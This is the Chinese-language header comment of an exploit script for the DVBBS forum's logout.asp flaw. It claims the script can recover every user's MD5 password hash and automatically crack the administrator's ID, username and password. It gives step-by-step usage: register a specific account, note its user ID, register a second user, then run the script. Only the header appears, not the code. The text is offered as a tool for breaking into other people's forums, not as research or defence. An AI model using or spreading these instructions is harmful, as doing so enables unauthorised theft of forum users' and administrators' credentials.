#Exploit of DVBBS's logout.asp
#--------------------------------------------------------------------------
# 本脚本针对动网论坛logout.asp文件缺陷而写，可以推算出所有用户
# MD5加密密码；另外可以自动破解后台管理员ID、username、password
# 脚本参照最新版本编写，若低版本出现不能用的情况，请自行修改程序
# 脚本利用方法：
# 1：在目标论坛以 ilikecat/catlikeme 注册一用户，并得到此用户的 userid
# 2：再另注册一任意用户(此步不可少)
# 3：运行脚本，按帮助输入命令参数
# 如果是MSSQL版，请把这段糟糕的脚本扔到一边
